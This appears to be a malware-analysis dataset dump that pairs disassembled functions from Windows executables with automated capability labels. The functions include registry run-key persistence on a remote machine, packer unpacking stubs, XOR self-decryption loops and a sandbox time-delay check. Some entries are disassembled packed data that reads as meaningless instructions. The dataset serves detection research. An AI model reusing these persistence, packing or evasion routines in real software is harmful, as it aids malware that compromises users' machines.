joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100010c0
Capabilities:
Print debug messages
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa0
mov eax, dword [0x1001c00c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x98], ecx
push ebx
push ebx
push 3
push ebx
push ebx
push 0xc0000000
push str..pipe_asuscert
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov esi, eax
cmp esi, 0xffffffff
jne 0x1000114b
mov ebx, dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
call edi
cmp eax, 0xe7
jne 0x100011fe
push 0x4e20
push str..pipe_asuscert
call ebx
test eax, eax
je 0x100011e0
push 0
push 0
push 3
push 0
push 0
push 0xc0000000
push str..pipe_asuscert
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
je 0x10001107
xor ebx, ebx
push 0
push 0
lea eax, [ebp - 0x94]
mov dword [ebp - 0x94], 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
test eax, eax
je 0x100011c6
push 0
lea eax, [ebp - 0x9c]
push eax
push 4
lea eax, [ebp - 0x98]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x100011c6
push 0
lea eax, [ebp - 0xa0]
push eax
push 0xc
lea eax, [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x100011ab
call edi
cmp eax, 0xea
jne 0x100011c6
lea eax, [ebp - 0x10]
push 0x10019a10
push eax
call fcn.10005b17
add esp, 8
mov ecx, 1
test eax, eax
cmove ebx, ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov al, bl
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100022a6
mov esp, ebp
pop ebp
ret
push str.RegisterPIDToAsIO_WaitNamedPipe_failed..._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100022a6
mov esp, ebp
pop ebp
ret
call edi
push eax
push str.RegisterPIDToAsIO_CreateFile_failed...__d__n
lea eax, [ebp - 0x90]
push 0x40
push eax
call fcn.10001030
add esp, 0x10
lea eax, [ebp - 0x90]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100022a6
mov esp, ebp
pop ebp
ret

Function at 0x10001510
Capabilities:
Print debug messages

Disassembly:
call sub.KERNEL32.dll_GetCurrentProcessId
mov ecx, eax
call fcn.100010c0
test al, al
jne 0x1000152b
push str.RegisterPIDToAsIO_failed..._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..Asusgio3
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [0x1001d3b0], eax
setne al
ret 4
Function at 0x10001560
Capabilities:
Print debug messages

Disassembly:
call sub.KERNEL32.dll_GetCurrentProcessId
mov ecx, eax
call fcn.100010c0
test al, al
jne 0x1000157b
push str.RegisterPIDToAsIO_failed..._n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
push 0
push 0
push 3
push 0
push 3
push 0xc0000000
push str..Asusgio3
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x1001d3b0], eax
cmp eax, 0xffffffff
jne 0x100015b1
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
call fcn.10001240
xor al, al
ret 4
mov al, 1
ret 4

Function at 0x10001940
Capabilities:
Persist via run registry key
Print debug messages
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
mov eax, dword [0x1001c00c]
xor eax, ebp
mov dword [ebp - 4], eax
lea eax, [ebp - 0x30]
push eax
push 0x20019
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRunOnce
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x100019b1
lea eax, [ebp - 0x28]
mov dword [ebp - 0x28], 0x20
push eax
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x2c]
push eax
push 0
push str.AsIORebootFlag
push dword [ebp - 0x30]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x100019b1
push str._AsIO.dll__Need_Reboot___
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov al, 1
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100022a6
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor al, al
xor ecx, ebp
call fcn.100022a6
mov esp, ebp
pop ebp
ret
Function at 0x440cf0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x24000]
push edi
or ebp, 0xffffffff
jmp 0x440d12
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x440d19
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x440d08
mov eax, 1
add ebx, ebx
jne 0x440d2b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x440d20
jne 0x440d3c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x440d20
xor ecx, ecx
sub eax, 3
jb 0x440d50
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x440dc2
mov ebp, eax
add ebx, ebx
jne 0x440d5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x440d68
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x440d8c
inc ecx
add ebx, ebx
jne 0x440d78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x440d6d
jne 0x440d89
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x440d6d
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x440dac
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x440d9d
jmp 0x440d0e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x440dac
add edi, ecx
jmp 0x440d0e
pop esi
mov edi, esi
mov ecx, 0x49d
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x440dca
cmp byte [edi], 5
jne 0x440dca
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x440dcf
lea edi, [esi + 0x3e000]
mov eax, dword [edi]
or eax, eax
je 0x440e3e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x40000]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x4006c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x440dfc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x40074]
or eax, eax
je 0x440e38
mov dword [ebx], eax
add ebx, 4
jmp 0x440e19
call dword [esi + 0x40070]
mov ebp, dword [esi + 0x40078]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x440e72
sub esp, 0xffffff80
jmp 0x407840
Function at 0x44a880
Capabilities:
Accept command line arguments

Disassembly:
push ecx
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push str.HKEY_CLASSES_ROOTCLSIDD2073C44_AB4F_11D0_A732_00A0C9082637
mov edi, eax
call fcn.0044a810
mov esi, dword [sym.imp.USER32.dll_GetKeyboardType]
add esp, 4
mov ebx, eax
push 0
call esi
cmp eax, 7
je 0x44a8f5
push 1
call esi
mov esi, eax
mov eax, dword [esp + 0xc]
and esi, 0xff00
test eax, eax
je 0x44a8cf
mov eax, dword [0x652dd4]
push 0x652b08
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
lea ecx, [esp + 0xc]
push ecx
push edi
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp esi, 0xd00
je 0x44a8eb
cmp esi, 0x400
jne 0x44a8f5
pop edi
pop esi
mov eax, 1
pop ebx
pop ecx
ret
pop edi
mov eax, ebx
pop esi
pop ebx
pop ecx
ret

Function at 0x4e683f
Capabilities:
Encode data using xor

Disassembly:
sub esp, dword [esi]
fisubr dword [eax + 0x98f37ca]
lodsb al, byte [esi]
mov dword [0x87b30ee2], eax
out 0xc, al
pop ss
scasd eax, dword es:[edi]
aad 0x6e
stc
pop edx
push esi
jbe 0x4e67d0
out 0xff, eax
rcr byte [esi + 0x1735c6c2], 1
cmpsb byte [esi], byte es:[edi]
outsw dx, word [esi]
and eax, 0x45da048c
jmp 0xd673b200
mov dh, 0x77
push ebx
out 0x7f, al
ja 0x4e68a0
jbe 0x4e67e2
bound ecx, qword [edi + 0x776a8545]
push 0x77
jg 0x4e67e5
popfd
push es
and dword [edi + 0x14], 0x63762764
mov dword [0x819d811e], eax
xor dl, byte [edx - 0x47]
pop edi
add eax, 0x56673698
imul ebx, dword [eax + 0x46], 0xffffffae
cmp ecx, esi
xchg dword [edi], esi
cld
dec edi
test dword [edi], edx
fisubr dword [eax + 0x58]
rcl esi, 1
les esi, [esi - 0x47e8c7a8]
ja 0x4e688e
retf
ja 0x4e6832
movsd dword es:[edi], dword [esi]
xlatb
salc
lea edx, [esi - 0x5cd899ee]
inc esp
div byte [edi - 0x73]
jbe 0x4e6893
xchg esp, eax
push ebx
loopne 0x4e68ef
test byte [ebx], 0xba
sbb ebp, dword [edx - 0x39b01a82]
pop es
test byte [edi - 0x5e], cl
loope 0x4e685a
test dword [esi], 0x6261e083
invalid
popal
invalid
fcmovu st(0), st(1)
xchg byte [edx - 0x4ef78ab], dh
je 0x4e693d
inc edi
add esp, dword [esi + 0x27c313c0]
wait
sti
lahf
push ss
mov esi, 0x8676a044
jne 0x4e68b6
inc esp
mov ah, byte [0xad87ca1b]
rol byte [ecx + eax - 0x6f33fef5], 0x7b
pop esi
push edi
cmp dl, byte [esi + 0x71d6efd1]
xchg ebx, eax
push ecx
xor ah, byte [ebx]
outsd dx, dword [esi]
aam 0x75
test dword [ebx + ebx*2 - 0x1a], edx
in al, 0x9a
pop edx
xchg edi, eax
push es
arpl dx, sp
call dword [edx + esi*8 + 0x10]
arpl word [eax], bp
xchg byte [edx + 0x51], ah
mov ch, 0xc6
bound edx, qword [ecx + 0x67]
mov ch, 0xc6
dec esi
dec si
add al, 0xa6
pop ss
xor byte [edi - 0x80], 0xc7
xchg ebx, eax
mul cl
adc dword [edx + esi*2 - 0x21d13afb], esi
mov dh, 0x53
invalid

Function at 0x5305ef
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
or dh, byte [ebx + 0xb6c80bd]
inc ecx
push ds
and ah, byte [eax + 4]
popal
invalid
Function at 0x614f2f
Capabilities:
Encode data using add xor sub operations
Encode data using xor

Disassembly:
xor ch, byte [ebx + ebp - 0x61671b69]
inc edi
xchg esi, eax
mov ah, 0x64
cwde
cmpsb byte [esi], byte es:[edi]
salc
pop edi
fidiv word [ecx + ebx*2]
xor al, 0x59
adc dword [edi + eax*8 + 0x76], esi
inc edi
lock sbb dword es:[edi - 0x49], esi
mov bh, 0
mov byte [0x4794cef8], ah
add al, 0xfb
sub byte [eax + 0x3f618c57], bh
mov dword [0x459bb5bb], eax
dec ebx
pop esp
push ebx
jp 0x614f41
inc edx
xchg esi, eax
mov es, word [edi + 0x3c]
paddw mm1, qword [eax]
retf
Function at 0x401290
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
push esi
push edi
lea edi, [ebp - 0x36]
mov esi, 0x40c24a
mov ecx, 0xb
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea edi, [ebp - 0x3e]
mov esi, str.mssrv32
mov ecx, 8
rep movsb byte es:[edi], byte [esi]
lea eax, [ebp - 4]
push eax
push reloc.WS2_32.dll_bind
mov eax, dword [ebp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegConnectRegistryA]
test eax, eax
jne 0x40131f
lea eax, [ebp - 8]
push eax
push 2
push 0
lea eax, [ebp - 0x36]
push eax
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp + 8]
push eax
push 1
push 0
lea eax, [ebp - 0x3e]
push eax
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
jne 0x401329
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
jmp 0x401338
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x430000
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
je 0x430072
nop
nop
nop
nop
mov ebx, 0x408f6c
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x515d56e5
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x430060
nop
nop
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
je 0x4300d2
nop
nop
nop
nop
mov ebx, 0x42e3d0
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
push eax
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x42194b42
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
loop 0x4300c0
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x401219

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
pop edi
nop
nop
cmp eax, 0
nop
nop
nop
je 0x42e072
nop
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x469836f3
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
mov eax, section..data
cmp eax, 0
nop
nop
nop
nop
nop
nop
nop
je 0x42e0d2
nop
mov ebx, 0x42cd70
nop
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
nop
pop eax
nop
nop
mov esi, 0x79f601e
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219
Function at 0x406690
Capabilities:
Access peb ldr_data
Get process heap flags

Disassembly:
push 0xffffffffffffffff
push 0x447fbb
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, dword [esp + 0x18]
push edi
lea ecx, [esi + 4]
mov dword [esi], 0x4045c4
call fcn.0040787b
push 4
mov dword [esp + 0x18], 0
call fcn.00408994
mov edi, eax
add esp, 4
test edi, edi
je 0x406704
push ebx
call fcn.00407676
mov dword [edi], eax
call fcn.00407435
push 0
lea ecx, [esp + 0x10]
mov ebx, eax
call fcn.0040783c
mov eax, dword [ebx + 4]
cmp eax, 0xffffffff
jae 0x4066f8
inc eax
mov dword [ebx + 4], eax
lea ecx, [esp + 0xc]
call fcn.00407864
pop ebx
jmp 0x406706
xor edi, edi
mov dword [esi + 0x38], edi
lea eax, [esi + 8]
mov dword [esi + 0x10], eax
lea ecx, [esi + 0x18]
mov dword [esi + 0x20], ecx
lea edx, [esi + 0x1c]
mov dword [esi + 0x24], edx
lea eax, [esi + 0xc]
mov dword [esi + 0x14], eax
lea ecx, [esi + 0x28]
mov dword [esi + 0x30], ecx
lea edx, [esi + 0x2c]
mov dword [esi + 0x34], edx
mov dword [eax], 0
mov eax, dword [esi + 0x24]
mov dword [eax], 0
mov ecx, dword [esi + 0x34]
mov dword [ecx], 0
mov edx, dword [esi + 0x10]
mov dword [edx], 0
mov eax, dword [esi + 0x20]
mov dword [eax], 0
mov ecx, dword [esi + 0x30]
mov dword [ecx], 0
mov ecx, dword [esp + 0xc]
pop edi
mov eax, esi
pop esi
mov dword fs:[0], ecx
add esp, 0x10
ret 4

Function at 0x40956b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x44b354]
jne 0x409575
repz ret
jmp fcn.0040dbbc
Function at 0x4128b2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x44b354]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.0040c12f
and dword [ebp - 0x14], 0
cmp dword [0x450bcc], 0
mov dword [ebp - 0x18], eax
jne 0x412965
push 0x403ff8
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x412a0d
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x403fec
push ebx
call edi
test eax, eax
je 0x412a0d
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push 0x403fdc
push ebx
mov dword [0x450bcc], eax
call edi
push eax
call esi
push 0x403fc8
push ebx
mov dword [0x450bd0], eax
call edi
push eax
call esi
push 0x403fac
push ebx
mov dword [0x450bd4], eax
call edi
push eax
call esi
mov dword [0x450bdc], eax
test eax, eax
je 0x412965
push 0x403f94
push ebx
call edi
push eax
call esi
mov dword [0x450bd8], eax
mov eax, dword [0x450bd8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x4129be
cmp dword [0x450bdc], ecx
je 0x4129be
push eax
call esi
push dword [0x450bdc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x4129be
test ebx, ebx
je 0x4129be
call edi
test eax, eax
je 0x4129b5
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x4129b5
test byte [ebp - 8], 1
jne 0x4129be
or dword [ebp + 0x10], 0x200000
jmp 0x4129f1
mov eax, dword [0x450bd0]
cmp eax, dword [ebp - 0x18]
je 0x4129f1
push eax
call esi
test eax, eax
je 0x4129f1
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x4129f1
mov eax, dword [0x450bd4]
cmp eax, dword [ebp - 0x18]
je 0x4129f1
push eax
call esi
test eax, eax
je 0x4129f1
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x450bcc]
call esi
test eax, eax
je 0x412a0d
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x412a0f
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040956b
leave
ret
Function at 0x4037b6
Capabilities:
Get common file path
Query environment variable

Disassembly:
push ebx
push esi
mov esi, dword [esp + 0xc]
mov eax, dword [esi]
push edi
xor edi, edi
test eax, eax
je 0x4037ce
push eax
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov edi, eax
lea eax, [edi + 0x2d0]
push eax
mov ecx, esi
call fcn.0043ddc3
test edi, edi
jg 0x403859
mov eax, dword [esi]
and word [eax], 0
mov eax, dword [esi]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
push ebp
mov ebp, 0x208
push ebp
push eax
push 0x4a6cc4
call ebx
mov edi, eax
test edi, edi
jg 0x403848
mov eax, dword [esi]
push ebp
push eax
push 0x4a6cb8
call ebx
mov edi, eax
test edi, edi
jg 0x403848
push 0
push 0x24
push dword [esi]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov edi, eax
test edi, edi
jle 0x403858
mov eax, dword [esi]
push 0x4a6cac
lea eax, [eax + edi*2]
push eax
call dword [sym.imp.KERNEL32.DLL_lstrcpyW]
add edi, 5
test edi, edi
jle 0x403858
mov eax, dword [esi]
mov word [eax + edi*2], 0x5c
mov eax, dword [esi]
inc edi
and word [eax + edi*2], 0
pop ebp
push dword [esi]
mov ebx, 0x4c0fb8
mov ecx, ebx
call fcn.0041bfcc
test edi, edi
jle 0x403877
push dword [esi]
call fcn.004925aa
test eax, eax
pop ecx
jne 0x4038a5
push 0
push 0x24
push dword [esi]
push 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathW]
push str.TEMP_
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_lstrcatW]
push dword [esi]
mov ecx, ebx
call fcn.0041bfcc
push dword [esi]
call dword [sym.imp.KERNEL32.DLL_lstrlenW]
mov edi, eax
mov eax, edi
pop edi
pop esi
pop ebx
ret
Function at 0x403c74
Capabilities:
Get geographical location
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
and word [ebp - 0x44], 0
push 0x20
lea eax, [ebp - 0x44]
push eax
push str.LC_ALL
call dword [sym.imp.KERNEL32.DLL_GetEnvironmentVariableW]
cmp word [ebp - 0x44], 0
jne 0x403caa
push 0x20
lea eax, [ebp - 0x44]
push eax
push 0xb
push 0x800
call dword [sym.imp.KERNEL32.DLL_GetLocaleInfoW]
cmp word [ebp - 0x44], 0
lea eax, [ebp - 0x44]
jne 0x403cb9
mov eax, 0x4a6ebc
push eax
mov ecx, 0x4c0c34
call fcn.0044655b
push dword [0x4c0c34]
call fcn.0043e91d
cmp eax, 1
pop ecx
jle 0x403cdb
mov word [0x4c4010], ax
leave
ret

Function at 0x403dfc
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push edi
mov edi, dword [sym.imp.USER32.dll_GetLastInputInfo]
lea eax, [ebp - 8]
xor ebx, ebx
push eax
mov dword [ebp - 8], 8
mov dword [ebp - 4], ebx
call edi
mov eax, dword [ebp - 4]
mov ecx, eax
sub ecx, dword [0x4c0bf0]
test ecx, ecx
jle 0x403e2f
mov dword [0x4c0bf0], eax
push esi
mov esi, dword [sym.imp.KERNEL32.DLL_GetTickCount]
call esi
mov dword [0x4c0bf0], eax
jmp 0x403e67
lea eax, [ebp - 8]
push eax
mov dword [ebp - 4], ebx
call edi
call esi
mov ecx, eax
sub ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jb 0x403e5f
sub eax, dword [0x4c0bf0]
cmp eax, dword [ebp + 8]
jae 0x403e6f
push 0xa
call dword [sym.imp.KERNEL32.DLL_Sleep]
cmp byte [0x4bf2c0], bl
jg 0x403e3f
mov eax, dword [ebp - 4]
mov ecx, eax
sub ecx, dword [0x4c0bf0]
pop esi
test ecx, ecx
jle 0x403e84
mov dword [0x4c0bf0], eax
xor eax, eax
cmp byte [0x4bf2c0], bl
pop edi
setg al
pop ebx
leave
ret

Function at 0x404059
Capabilities:
Terminate process

Disassembly:
cmp byte [0x4bf2c0], 2
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.DLL_Sleep]
push 0x14
pop esi
je 0x404070
push esi
call edi
cmp dword [0x4c0c00], 0
je 0x40408b
push 0x1e
pop esi
jmp 0x40408b
cmp dword [0x4c0bf4], 0
je 0x40408e
push 0xa
call edi
dec esi
jns 0x40407e
mov eax, dword [0x4c0bf4]
test eax, eax
pop edi
pop esi
je 0x4040ac
push 0
push eax
mov dword [0x4c0bf4], 0
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
mov byte [0x4bf2c0], 0xff
ret